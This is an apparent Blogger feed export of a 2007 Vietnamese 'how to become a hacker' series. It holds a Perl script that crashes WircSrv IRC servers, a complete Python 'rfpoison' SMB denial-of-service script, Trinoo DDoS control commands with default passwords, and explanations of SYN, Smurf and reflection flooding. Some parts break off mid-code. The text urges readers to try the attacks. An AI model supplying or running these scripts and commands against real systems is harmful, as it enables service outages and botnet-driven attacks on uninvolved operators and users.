src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-2103665599494633659</id><published>2007-06-19T01:17:00.000-07:00</published><updated>2007-06-19T01:18:09.483-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VII)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :&lt;br /&gt;&lt;br /&gt;WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667.&lt;br /&gt;Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nếu bạn dùng Unix:&lt;br /&gt;&lt;br /&gt;[hellme@die-communitech.net$ telnet irc.example.com 6667&lt;br /&gt;Trying example.com...&lt;br /&gt;Connected to example.com.&lt;br /&gt;Escape character is `^]`.&lt;br /&gt;[buffer]&lt;br /&gt;&lt;br /&gt;Windows cũng tương tự:&lt;br /&gt;&lt;br /&gt;telnet irc.example.com 6667&lt;br /&gt;&lt;br /&gt;Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .&lt;br /&gt;Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;#!/usr/bin/perl #&lt; == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl&lt;br /&gt;use Getopt::Std;&lt;br /&gt;use Socket;&lt;br /&gt;getopts(`s:`, \%args);&lt;br /&gt;if(!defined($args{s})){&amp;usage;}&lt;br /&gt;my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto);&lt;br /&gt;$foo = ``A``; # Đây là NOP&lt;br /&gt;$number = ``65000``; # Đây là tất cả số NOP&lt;br /&gt;$data .= $foo x $number; # kết quả của $foo times $number&lt;br /&gt;$serv = $args{s}; # lệnh điều khiển server từ xa&lt;br /&gt;$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667&lt;br /&gt;$buf = ``$data``;&lt;br /&gt;$in_addr = (gethostbyname($serv))[4]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-2103665599494633659?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/2103665599494633659/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=2103665599494633659' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2103665599494633659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2103665599494633659'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn_19.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VII)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-1516314758972050265</id><published>2007-06-19T01:16:00.004-07:00</published><updated>2007-06-19T01:17:29.203-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VI)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 6&lt;br /&gt;&lt;br /&gt;DoS attack là gì? ( Denial Of Services Attack )&lt;br /&gt;&lt;br /&gt;DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác ( máy của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;39.) Các loại DoS attack hiện đang được biết đến và sử dụng :&lt;br /&gt;&lt;br /&gt;a . ) Winnuke :&lt;br /&gt;&lt;br /&gt;_DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu ``Out of Band`` đến cổng 139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash .&lt;br /&gt;&lt;br /&gt;b . ) Ping of Death :&lt;br /&gt;&lt;br /&gt;_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo .&lt;br /&gt;_ VD : ping –l 65000&lt;br /&gt;&lt;br /&gt;c . ) Teardrop :&lt;br /&gt;&lt;br /&gt;_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn !&lt;br /&gt;&lt;br /&gt;d . ) SYN Attack :&lt;br /&gt;&lt;br /&gt;_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các ``request`` chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == &gt; ném đá dấu tay .&lt;br /&gt;&lt;br /&gt;e . ) Land Attack :&lt;br /&gt;&lt;br /&gt;_ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == &gt; Gậy ông đập lưng ông .&lt;br /&gt;&lt;br /&gt;f . ) Smurf Attack :&lt;br /&gt;&lt;br /&gt;_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == &gt; một máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua .&lt;br /&gt;&lt;br /&gt;g . ) UDP Flooding :&lt;br /&gt;&lt;br /&gt;_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy .&lt;br /&gt;&lt;br /&gt;h . ) Tấn công DNS :&lt;br /&gt;&lt;br /&gt;_ Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị hacker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !.&lt;br /&gt;&lt;br /&gt;g . ) Distributed DoS Attacks ( DDos ) :&lt;br /&gt;&lt;br /&gt;_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân .&lt;br /&gt;&lt;br /&gt;h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :&lt;br /&gt;&lt;br /&gt;_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v… , các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy .&lt;br /&gt;&lt;br /&gt;40 . ) Kỹ thuật DoS Web bằng Python :&lt;br /&gt;&lt;br /&gt;_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down được .&lt;br /&gt;_ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng .&lt;br /&gt;_ Bạn hãy save đoạn mã sau lên file rfpoison.py .&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;import string&lt;br /&gt;import struct&lt;br /&gt;from socket import *&lt;br /&gt;import sys&lt;br /&gt;def a2b(s):&lt;br /&gt;bytes = map(lambda x: string.atoi(x, 16),&lt;br /&gt;string.split(s))&lt;br /&gt;data = string.join(map(chr, bytes), ``)&lt;br /&gt;return data&lt;br /&gt;def b2a(s):&lt;br /&gt;bytes = map(lambda x: `%.2x` % x, map(ord, s))&lt;br /&gt;return string.join(bytes, ` `)&lt;br /&gt;&lt;br /&gt;# Yêu cầu tập hợp NBSS&lt;br /&gt;nbss_session = a2b(``````&lt;br /&gt;81 00 00 48 20 43 4b 46 44 45&lt;br /&gt;4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43&lt;br /&gt;41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45&lt;br /&gt;42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46&lt;br /&gt;43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00&lt;br /&gt;00 00&lt;br /&gt;``````)&lt;br /&gt;&lt;br /&gt;# Tạo SMB&lt;br /&gt;crud = (&lt;br /&gt;# Yêu cầu SMBnegprot&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 72 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43&lt;br /&gt;20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d&lt;br /&gt;20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20&lt;br /&gt;4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d&lt;br /&gt;49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b&lt;br /&gt;53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30&lt;br /&gt;00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d&lt;br /&gt;62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e&lt;br /&gt;30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00&lt;br /&gt;``````,&lt;br /&gt;# Yêu cầu setup SMB X&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 73 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff&lt;br /&gt;ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00&lt;br /&gt;00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f&lt;br /&gt;55 50 00 55 6e 69 78 00 53 61 6d 62 61 00&lt;br /&gt;``````,&lt;br /&gt;# Yêu cầu SMBtconX&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 75 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00&lt;br /&gt;00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56&lt;br /&gt;45 52 5c 49 50 43 24 00 49 50 43 00&lt;br /&gt;``````,&lt;br /&gt;# Yêu cầu khởI tạo SMBnt X&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 a2 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00&lt;br /&gt;07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00&lt;br /&gt;00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00&lt;br /&gt;00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72&lt;br /&gt;76 73 76 63 00&lt;br /&gt;``````,&lt;br /&gt;# yêu cầu biên dịch SMB&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 25 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00&lt;br /&gt;00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c&lt;br /&gt;00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49&lt;br /&gt;50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00&lt;br /&gt;00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00&lt;br /&gt;00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78&lt;br /&gt;5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c&lt;br /&gt;c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00&lt;br /&gt;``````,&lt;br /&gt;# SMBtrans Request&lt;br /&gt;``````&lt;br /&gt;ff 53 4d 42 25 00&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00&lt;br /&gt;00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c&lt;br /&gt;00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49&lt;br /&gt;50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00&lt;br /&gt;00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00&lt;br /&gt;00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00&lt;br /&gt;5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00&lt;br /&gt;56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00&lt;br /&gt;00 00 00 00 00 00 ff ff ff ff 00 00 00 00&lt;br /&gt;``````&lt;br /&gt;)&lt;br /&gt;crud = map(a2b, crud)&lt;br /&gt;def smb_send(sock, data, type=0, flags=0):&lt;br /&gt;d = struct.pack(`!BBH`, type, flags, len(data))&lt;br /&gt;#print `send:`, b2a(d+data)&lt;br /&gt;sock.send(d+data)&lt;br /&gt;def smb_recv(sock):&lt;br /&gt;s = sock.recv(4)&lt;br /&gt;assert(len(s) == 4)&lt;br /&gt;type, flags, length = struct.unpack(`!BBH`, s)&lt;br /&gt;data = sock.recv(length)&lt;br /&gt;assert(len(data) == length)&lt;br /&gt;#print `recv:`, b2a(s+data)&lt;br /&gt;return type, flags, data&lt;br /&gt;def nbss_send(sock, data):&lt;br /&gt;sock.send(data)&lt;br /&gt;def nbss_recv(sock):&lt;br /&gt;s = sock.recv(4)&lt;br /&gt;assert(len(s) == 4)&lt;br /&gt;return s&lt;br /&gt;def main(host, port=139):&lt;br /&gt;s = socket(AF_INET, SOCK_STREAM)&lt;br /&gt;s.connect(host, port)&lt;br /&gt;nbss_send(s, nbss_session)&lt;br /&gt;nbss_recv(s)&lt;br /&gt;for msg in crud[:-1]:&lt;br /&gt;smb_send(s, msg)&lt;br /&gt;smb_recv(s)&lt;br /&gt;smb_send(s, crud[-1]) # no response to this&lt;br /&gt;s.close()&lt;br /&gt;if __name__ == `__main__`:&lt;br /&gt;print `Sending poison...`,&lt;br /&gt;main(sys.argv[1])&lt;br /&gt;print `done.`&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc” thử cho biết thì được đúng không ?&lt;br /&gt;&lt;br /&gt;41 . ) Tấn công DDoS thông qua Trinoo :&lt;br /&gt;&lt;br /&gt;_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định .&lt;br /&gt;_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----- &gt; Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống .&lt;br /&gt;&lt;br /&gt;attacker$ telnet 10.0.0.1 27665&lt;br /&gt;Trying 10.0.0.1&lt;br /&gt;Connected to 10.0.0.1&lt;br /&gt;Escape character is `^]`.&lt;br /&gt;kwijibo&lt;br /&gt;Connection closed by foreign host. &lt; == Bạn đã nhập sai&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;attacker$ telnet 10.0.0.1 27665&lt;br /&gt;Trying 10.0.0.1&lt;br /&gt;Connected to 10.0.0.1&lt;br /&gt;Escape character is `^]`.&lt;br /&gt;betaalmostdone&lt;br /&gt;trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]&lt;br /&gt;trinoo &gt; &lt; == bạn đã vào được hệ thống trinoo&lt;br /&gt;&lt;br /&gt;_ Đây là vài passwd mặc định :&lt;br /&gt;&lt;br /&gt;“l44adsl``: pass của trinoo daemon .&lt;br /&gt;``gorave``: passwd của trinoo master server khi startup .&lt;br /&gt;``betaalmostdone``: passwd điều khiển từ xa chung cho trinoo master .&lt;br /&gt;``killme``: passwd trinoo master điều khiển lệnh ``mdie`` .&lt;br /&gt;&lt;br /&gt;_ Đây là một số lệnh dùng để điều khiển Master Server:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;die -------- ------------Shutdown.&lt;br /&gt;quit ------- -------------Log off.&lt;br /&gt;mtimer N ---------- --Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1-- &gt; 1999 giây .&lt;br /&gt;dos IP --------- ------Tấn công đến một địa chỉ IP xác định .&lt;br /&gt;mdie pass ------- ----Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới (``d1e l44adsl``) Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này&lt;br /&gt;mping ------ ----------Gửi một lệnh ping tới (``png l44adsl``) c¸c Broadcast.&lt;br /&gt;mdos --Send nhiều lênh DOS (``xyz l44adsl 123:ip1:ip2``) đến các Broadcast.&lt;br /&gt;info ------- --------------Hiển thị thông tin về Trinoo .&lt;br /&gt;msize ------ ------------Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS.&lt;br /&gt;nslookup host ------X ác định tên thiết bị của Host mà Master Trinoo đang chạy .&lt;br /&gt;usebackup -- ---------Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”.&lt;br /&gt;bcast ------ -------------Liệt kê danh sách tất cả các Broadcast có thể khai thác .&lt;br /&gt;help [cmd] ----------- Đưa ra danh sách các lệnh .&lt;br /&gt;mstop ------ -------------Ngừng lại các cuốc tấn công DOS .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;aaa pass IP --------- ---Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-- &gt; 1999 s .&lt;br /&gt;bbb pass N ---------- ---Đặt thờI gian giới hạn cho các cuộc tấn công DOS .&lt;br /&gt;Shi pass ------- ---------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP.&lt;br /&gt;png pass ------- --------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP.&lt;br /&gt;die pass ------- ---------Shutdown Trinoo.&lt;br /&gt;rsz N ---------- ----------Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte .&lt;br /&gt;xyz pass 123:ip1:ip3 tấn công DOS nhiều mục tiêu cùng lúc .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;( Dựa theo hướng dẫn của huynh Binhnx2000 )&lt;br /&gt;Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó tìm hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất là server của HVA , coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó&lt;br /&gt;&lt;br /&gt;Hết phần 6&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-1516314758972050265?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/1516314758972050265/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=1516314758972050265' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/1516314758972050265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/1516314758972050265'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn-vi.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần VI)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-6067663195832568325</id><published>2007-06-19T01:16:00.003-07:00</published><updated>2007-06-19T01:16:53.086-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần V)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 5 31 . )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gói tin TCP/IP là gì?&lt;br /&gt;&lt;br /&gt;TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;32 . ) Linux là gi`:&lt;br /&gt;&lt;br /&gt;_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, .... Nhưng Nhân Linux chưa phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên kết với những chương trình ứng dụng được viết bởi tổ chức GNU tạo lên 1 HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy GNU/Linux khi được nhắc đến Linux.&lt;br /&gt;Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này ( Nhân và Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt ( Installation Process ) cho bộ Linux đó, chúng ta có : Distribution. Các Distribution khác nhau ở số lượng và loại Software được đóng gói cũng như quá trình cài đặt, và các phiên bản của Nhân. 1 số Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse .&lt;br /&gt;&lt;br /&gt;33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux :&lt;br /&gt;&lt;br /&gt;_ Lệnh `` man`` : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay :&lt;br /&gt;Cấu trúc lệnh : $ man .&lt;br /&gt;Ví dụ : $ man man&lt;br /&gt;_ Lệnh `` uname ``: cho ta biết các thông tin cơ bản về hệ thống&lt;br /&gt;Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau :&lt;br /&gt;&lt;br /&gt;Linux gamma 2.4.18 #3 Wed Dec 26 